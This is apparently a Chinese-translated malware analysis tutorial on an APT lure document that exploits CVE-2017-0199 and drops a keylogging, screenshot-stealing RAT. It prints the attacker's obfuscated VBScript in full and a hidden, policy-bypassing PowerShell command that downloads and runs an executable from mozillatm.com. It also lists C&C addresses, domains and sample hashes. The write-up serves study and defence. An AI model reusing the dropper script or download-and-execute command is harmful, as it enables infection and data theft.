由*翻译整理,首发i春秋
引言;这是一次来自遥远国度的APT攻击分析样本范例,本文作者将带领你体验二进制漏洞分析的乐趣。过程非常详细,附带所需样本,适合新手。难度三颗星。
目标文件:
我发现这里存在 CVE-2017-0199,这样就让我们找payload变得简单了。
b = '00000068007400740070003a002f002f006d006f007a0069006c006c00610074006d002e0063006f006d002f006c006f006100640069006e0067002e00680074006d006c00000000'
"".join("{0}".format((i+j).replace('00','').decode('hex')) for i, j in zip(b[::2], b[1::2]))
>> 'http://mozillatm.com/loading.html'
这个漏洞将会交付一个恶意的HTA文件并执行它。HTA意味着IE,所以VBScript将会很好地执行。
一旦我们访问了这个页面,我们就可以看到这个被混淆的的VBScript,它会执行PowerShell并将恶意软件投放到系统中。
你可以从这里参考
这个环节开始变得有意思起来了。
fuNctioN gJSoYXXAVqwD()
DIM taCXnLuJDFFL
taCXnLuJDFFL = cHRW(34)
CReaTEoBJecT(HLJlzxWsFMxQ(CGUgZBJuvRsW("V1RzVENUUlRJVHBUVFQuVHNUaFRlVExUTFQ="))).expANdEnVIRoNMEnTSTrInGS(HLJlzxWsFMxQ(CGUgZBJuvRsW("JVpzWnlac1p0WmVaTVpSWm9ab1pUWiVa")))
HLJlzxWsFMxQ(CGUgZBJuvRsW("XGtTa3lrU2tUa0VrTWszazJrXGtXa2lrTmtEa29rV2tTa3Brb2tXa0Vrcmtza0hrRWtMa0xrXGt2azFrLmswa1xrcGtva3drZWtSa3NraGtFa0xrTGsua2VreGtFaw=="))
ChRw(34)
CreAtEOBJeCt(HLJlzxWsFMxQ(CGUgZBJuvRsW("d0FzQWNBckFJQXBBdEEuQXNBaEFFQWxBbEE="))).run taCXnLuJDFFL
" POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0
eND fUnCtioN
[/table]
但是如果先不管被混淆的代码,直接调试代码的话,最终”taCXnLuJDFFL”这个变量将会被包含进去。
""C:\Windows\SySTEM32\WiNDoWSpoWErsHELL\v1.0\poweRshELL.exE""
[table=98%]
伪代码可以这样写:
Set oShell = WScript.CreateObject ("WSCript.shell")
oShell.run ""C:\Windows\SySTEM32\WiNDoWSpoWErsHELL\v1.0\poweRshELL.exE"" & " POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0
一旦我们破解了为powershell提供的编码命令,我们就能看到被下载的恶意软件。
这是一个PowerShell一行程序将恶意软件从http://mozillatm.com/loading.exe并将其保存到% TMP%文件夹类似于“Chrometm.exe”
这个恶意软件是用可视化的Basic语言编写的,并且高度混淆。我把这个样本提交给了Malwr.com,你可以在这里查看完整的分析。
攻击者似乎使用的是RAT。
在运行之后,它会将自己的程序“mozillatm.exe”复制到“program files”文件夹中。我们可以自行进入检查下。另一个exe是“Mozillatms.exe “在”system32“文件夹中,注意这个’s’,看起来像是一种备份。
Program Files中复制的文件:
然而机智如我注意到一些不一样的地方。在64位机器中恶意软件将会把它自己复制到“C:\windows\SysWow64” 文件夹中,那么这个自动生成的秘钥就不会在64位下的机器中运行,这说明这个恶意软件的备份在64位下的机器中将会失效。
“Mozillatm.exe”将是我们的恶意可执行文件。
该恶意软件将与C&C通信,IP地址为162.248.92.28:131106。
这个恶意软件将会存储截屏、按键记录并将它们发送到C&C服务器。它们位于%USERPROFILE%\AppData\Roaming\Mozillatms
按键日志可以在“logs”文件夹中找到。
屏幕快照数据使用压缩算法进行二次压缩,但是可以轻松地解压。
我编写了一个简单的工具来使用压缩算法执行压缩和解压。
/*
* Title: Deflate Tool
* Purpose: Compress and decompress files using the Deflate algorithm
* Author: Osanda Malith Jayathissa (@OsandaMalith)
* Website: [url]https://OsandaMalith.com[/url]
*/
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.IO.Compression;
namespace compress2
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("[~] Deflate Tool - @OsandaMalith\n");
if (args.Length != 3)
{
Console.WriteLine("Usage: {0} input.dat output.dat -c or -d", System.AppDomain.CurrentDomain.FriendlyName);
System.Environment.Exit(-1);
}
DeflateStream deflate = null;
FileStream sink = null;
FileStream source = new FileStream(Environment.GetCommandLineArgs()[1], FileMode.Open);
if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("d"))
{
deflate = new DeflateStream(source, CompressionMode.Decompress);
sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
byte[] buffer = new byte[source.Length];
buffer = new byte[source.Length];
deflate.Read(buffer, 0, buffer.Length);
sink.Write(buffer, 0, buffer.Length);
sink.Close();
}
else if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("c"))
{
deflate = new DeflateStream(source, CompressionMode.Compress);
sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
byte[] buffer = new byte[source.Length];
source.Read(buffer, 0, buffer.Length);
deflate.Write(buffer, 0, buffer.Length);
sink.Write(buffer, 0, buffer.Length);
sink.Close();
}
else
{
Console.WriteLine("Enter an option -c compress or -d decompress");
System.Environment.Exit(-1);
}
source.Close();
}
}
}
这是恶意软件的截图。
出于好奇,我查看了C&C IP地址162.248.92.28,发现使用了Squid代理。
但是,它使用HTTP身份验证。
通过使用谷歌搜索,我发现这些域名也是使用相同的恶意软件进行攻击的变种。
· Bd2bd.com
· Pc-net.org
· Bd-pc.com
· Registerbd.com
·
附上我分析过的样本:
Filename: loading.exe
SHA256: 9865ccfe4dd0c893c88d24168425933e5663ee8861a3b360e1b10e63769f5392
https://virustotal.com/en/file/9865ccfe4dd0c893c88d24168425933e5663ee8861a3b360e1b10e63769f5392/analysis/1496541573/
https://malwr.com/analysis/YmJiNTEwYzE5OWFkNDZjYmFiNTY0OWZhMzA5YzgyOGY/
SHA256: 9865ccfe4dd0c893c88d24168425933e5663ee8861a3b360e1b10e63769f5392
https://virustotal.com/en/file/9865ccfe4dd0c893c88d24168425933e5663ee8861a3b360e1b10e63769f5392/analysis/1496541573/
https://malwr.com/analysis/YmJiNTEwYzE5OWFkNDZjYmFiNTY0OWZhMzA5YzgyOGY/
Filename: A0Jst6jAd7CYerrqFmwb4wqDLa5XHPW_May_2017.doc
SHA256: 273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674
https://virustotal.com/en/file/273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674/analysis/1496541543/
SHA256: 273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674
https://virustotal.com/en/file/273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674/analysis/1496541543/